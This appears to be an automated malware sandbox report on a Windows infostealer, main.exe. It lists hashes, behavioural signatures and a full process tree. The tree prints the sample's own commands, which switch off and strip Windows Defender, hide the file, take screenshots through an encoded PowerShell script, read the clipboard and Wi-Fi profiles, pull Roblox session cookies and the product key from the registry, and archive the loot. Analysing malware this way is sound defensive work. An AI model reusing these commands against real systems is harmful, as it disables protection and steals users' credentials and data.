Analysis

  • max time kernel
    141s
  • max time network
    122s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-05-2024 23:17

General

  • Target

    5XB-V2/main.exe

  • Size

    7.1MB

  • MD5

    3e3b25bcf6ba324f17fdc05e430df415

  • SHA1

    c8ce8579d5c279a2e38f69306dce9c9a92090e95

  • SHA256

    5f3e235bdb808fd0540c34500ec94558bc4064bd8cba9deabe689acd8570e32f

  • SHA512

    4c897d17762b7b0a298bb8420f95af8c2e70eda9175fc4b8a288476885bfa7bc7b316f6cac1c79c4dbb56827e2a198a1908c50fdabebc0220f8fbb8cd748c3dd

  • SSDEEP

    196608:pvjQsGbT/9bvLz3S1bA329OqkQ0Ch9Zm635J3rc:fGbTlj3S1bO29OqZ/PxJ7c

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 18 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • UPX packed file 58 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates processes with tasklist 1 TTPs 4 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 29 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5XB-V2\main.exe
    "C:\Users\Admin\AppData\Local\Temp\5XB-V2\main.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4280
    • C:\Users\Admin\AppData\Local\Temp\5XB-V2\main.exe
      "C:\Users\Admin\AppData\Local\Temp\5XB-V2\main.exe"
      2⤵
      • Drops file in Drivers directory
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:3596
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\5XB-V2\main.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4316
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\5XB-V2\main.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5004
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:436
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3980
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Panel is Being Updating', 0, '1999X', 48+16);close()""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4312
        • C:\Windows\system32\mshta.exe
          mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Panel is Being Updating', 0, '1999X', 48+16);close()"
          4⤵
            PID:3960
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\5XB-V2\main.exe""
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4724
          • C:\Windows\system32\attrib.exe
            attrib +h +s "C:\Users\Admin\AppData\Local\Temp\5XB-V2\main.exe"
            4⤵
            • Views/modifies file attributes
            PID:1444
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‏​ .scr'"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3776
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‏​ .scr'
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4196
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:5108
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:1560
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4716
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:1504
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1572
          • C:\Windows\System32\Wbem\WMIC.exe
            WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3944
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4324
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Get-Clipboard
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4156
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4700
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:3764
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tree /A /F"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4448
          • C:\Windows\system32\tree.com
            tree /A /F
            4⤵
              PID:3536
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4044
            • C:\Windows\system32\netsh.exe
              netsh wlan show profile
              4⤵
                PID:4356
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "systeminfo"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4472
              • C:\Windows\system32\systeminfo.exe
                systeminfo
                4⤵
                • Gathers system information
                PID:4496
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1576
              • C:\Windows\system32\reg.exe
                REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
                4⤵
                  PID:1912
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1328
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4952
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kswfnuxy\kswfnuxy.cmdline"
                    5⤵
                      PID:1484
                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES639C.tmp" "c:\Users\Admin\AppData\Local\Temp\kswfnuxy\CSC773734779F66463390FC3CE7A347C098.TMP"
                        6⤵
                          PID:4428
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    3⤵
                      PID:2580
                      • C:\Windows\system32\tree.com
                        tree /A /F
                        4⤵
                          PID:1100
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                        3⤵
                          PID:1752
                          • C:\Windows\system32\attrib.exe
                            attrib -r C:\Windows\System32\drivers\etc\hosts
                            4⤵
                            • Drops file in Drivers directory
                            • Views/modifies file attributes
                            PID:1296
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                          3⤵
                            PID:3800
                            • C:\Windows\System32\Conhost.exe
                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              4⤵
                                PID:3944
                              • C:\Windows\system32\tree.com
                                tree /A /F
                                4⤵
                                  PID:1492
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                                3⤵
                                  PID:2188
                                  • C:\Windows\system32\attrib.exe
                                    attrib +r C:\Windows\System32\drivers\etc\hosts
                                    4⤵
                                    • Drops file in Drivers directory
                                    • Views/modifies file attributes
                                    PID:1100
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                                  3⤵
                                    PID:5064
                                    • C:\Windows\system32\tree.com
                                      tree /A /F
                                      4⤵
                                        PID:4040
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                      3⤵
                                        PID:3632
                                        • C:\Windows\system32\tasklist.exe
                                          tasklist /FO LIST
                                          4⤵
                                          • Enumerates processes with tasklist
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:4724
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                                        3⤵
                                          PID:3648
                                          • C:\Windows\system32\tree.com
                                            tree /A /F
                                            4⤵
                                              PID:1444
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "tree /A /F"
                                            3⤵
                                              PID:1340
                                              • C:\Windows\system32\tree.com
                                                tree /A /F
                                                4⤵
                                                  PID:1988
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                3⤵
                                                  PID:2384
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                    4⤵
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:720
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                  3⤵
                                                    PID:4396
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                      4⤵
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:2620
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "getmac"
                                                    3⤵
                                                      PID:1000
                                                      • C:\Windows\system32\getmac.exe
                                                        getmac
                                                        4⤵
                                                          PID:3628
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI42802\rar.exe a -r -hp"blank" "C:\Users\Admin\AppData\Local\Temp\YTzx4.zip" *"
                                                        3⤵
                                                          PID:3836
                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI42802\rar.exe
                                                            C:\Users\Admin\AppData\Local\Temp\_MEI42802\rar.exe a -r -hp"blank" "C:\Users\Admin\AppData\Local\Temp\YTzx4.zip" *
                                                            4⤵
                                                            • Executes dropped EXE
                                                            PID:3888
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                          3⤵
                                                            PID:1892
                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                              wmic os get Caption
                                                              4⤵
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:3244
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                            3⤵
                                                              PID:1984
                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                wmic computersystem get totalphysicalmemory
                                                                4⤵
                                                                  PID:4816
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                3⤵
                                                                  PID:3332
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic csproduct get uuid
                                                                    4⤵
                                                                      PID:4784
                                                                  • C:\Windows\system32\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                                    3⤵
                                                                      PID:2060
                                                                      • C:\Windows\System32\Conhost.exe
                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                        4⤵
                                                                          PID:1296
                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                          4⤵
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          PID:920
                                                                      • C:\Windows\system32\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                        3⤵
                                                                          PID:2208
                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                            wmic path win32_VideoController get name
                                                                            4⤵
                                                                            • Detects videocard installed
                                                                            PID:4068
                                                                        • C:\Windows\system32\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                                          3⤵
                                                                            PID:3144
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
